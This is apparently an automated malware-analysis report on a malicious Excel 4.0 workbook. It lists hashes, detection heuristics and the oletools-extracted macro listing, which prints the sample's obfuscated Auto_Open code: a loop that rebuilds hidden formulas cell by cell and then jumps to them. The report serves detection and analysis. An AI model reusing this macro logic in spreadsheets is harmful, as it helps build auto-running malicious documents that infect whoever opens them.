Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef262ab34d2c9180…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:25:28 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: f469f618b891f7b83ccda7e6817c4dff SHA-1: 701fe31f32a5781e3dbb4c556fccad0d82c1ace4 SHA-256: ef262ab34d2c9180cc2cedead661522d52bdacf9d95452f042d2153d4fc559f5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6448 bytes
SHA-256: c3075b6f47dad6047040f70a6c7d56553d0558b39426509b279efafcf5275edb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aSf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F181 
' 0018     24 LABEL : Cell Value, String Constant - cxbWNuZzP len=0 
' 0018     20 LABEL : Cell Value, String Constant - dqjbn len=0 
' 0018     20 LABEL : Cell Value, String Constant - ffwVM len=0 
' 0018     25 LABEL : Cell Value, String Constant - frfePpZtVW len=0 
' 0018     24 LABEL : Cell Value, String Constant - GRakpLRFO len=0 
' 0018     25 LABEL : Cell Value, String Constant - HnAmfmJtKo len=0 
' 0018     23 LABEL : Cell Value, String Constant - hYtWqsNJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - KdzzqsxMwO len=0 
' 0018     20 LABEL : Cell Value, String Constant - LpDmj len=0 
' 0018     23 LABEL : Cell Value, String Constant - LvmwDUSP len=0 
' 0018     27 LABEL : Cell Value, String Constant - oESVNxjazbGS len=0 
' 0018     23 LABEL : Cell Value, String Constant - ovjMELtD len=0 
' 0018     23 LABEL : Cell Value, String Constant - QjkFObRs len=0 
' 0018     23 LABEL : Cell Value, String Constant - ubrHqMqP len=0 
' 0018     20 LABEL : Cell Value, String Constant - unUnO len=0 
' 0018     20 LABEL : Cell Value, String Constant - vZiAX len=0 
' 0018     21 LABEL : Cell Value, String Constant - WbYKnk len=0 
' 0018     21 LABEL : Cell Value, String Constant - WMQhQw len=0 
' 0018     23 LABEL : Cell Value, String Constant - WodncCCs len=0 
' 0018     21 LABEL : Cell Value, String Constant - zvtrZx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aSf,F86,"SET.NAME("HnAmfmJtKo",VALUE("0"))",""
'  aSf,F88,"SET.NAME("WMQhQw",HnAmfmJtKo)",""
'  aSf,F91,"SET.NAME("KdzzqsxMwO",HnAmfmJtKo)",""
'  aSf,F94,"SET.NAME("LvmwDUSP",COUNTA(unUnO))",""
'  aSf,F99,"SET.NAME("GRakpLRFO",COUNTA(oESVNxjazbGS))",""
'  aSf,F104,[],""
'  aSf,F109,"SET.NAME("cxbWNuZzP","")",""
'  aSf,F113,"WMQhQw",""
'  aSf,F118,"SET.NAME("vZiAX",HLOOKUP("*",unUnO,WMQhQw,FALSE))",""
'  aSf,F121,"frfePpZtVW",""
'  aSf,F125,"SET.NAME("LpDmj",HnAmfmJtKo)",""
'  aSf,F130,[],""
'  aSf,F133,"LpDmj",""
'  aSf,F136,"ubrHqMqP",""
'  aSf,F140,"WbYKnk",""
'  aSf,F143,"ffwVM",""
'  aSf,F147,"SET.NAME("dqjbn",VALUE(HLOOKUP("*",oESVNxjazbGS,ffwVM,FALSE)))",""
'  aSf,F152,"WodncCCs",""
'  aSf,F155,"cxbWNuZzP",""
'  aSf,F158,"KdzzqsxMwO",""
'  aSf,F161,NEXT(),""
'  aSf,F166,"ovjMELtD",""
'  aSf,F169,"SET.NAME("f",INT(T(FORMULA(T(cxbWNuZzP)&"",""&T(ovjMELtD)))))",""
'  aSf,F171,"hYtWqsNJ",""
'  aSf,F176,NEXT(),""
'  aSf,F178,RETURN(),""
'  aSf,F211,"SET.NAME("QjkFObRs",F86)",""
'  aSf,F216,"unUnO",""
'  aSf,F218,"SET.NAME("oESVNxjazbGS",R58C15)",""
'  aSf,F222,"SET.NAME("hYtWqsNJ",230)",""
'  aSf,F227,"SET.NAME("zvtrZx",6)",""
'  aSf,F229,QjkFObRs(),""
'  aSf,F230,HALT(),""

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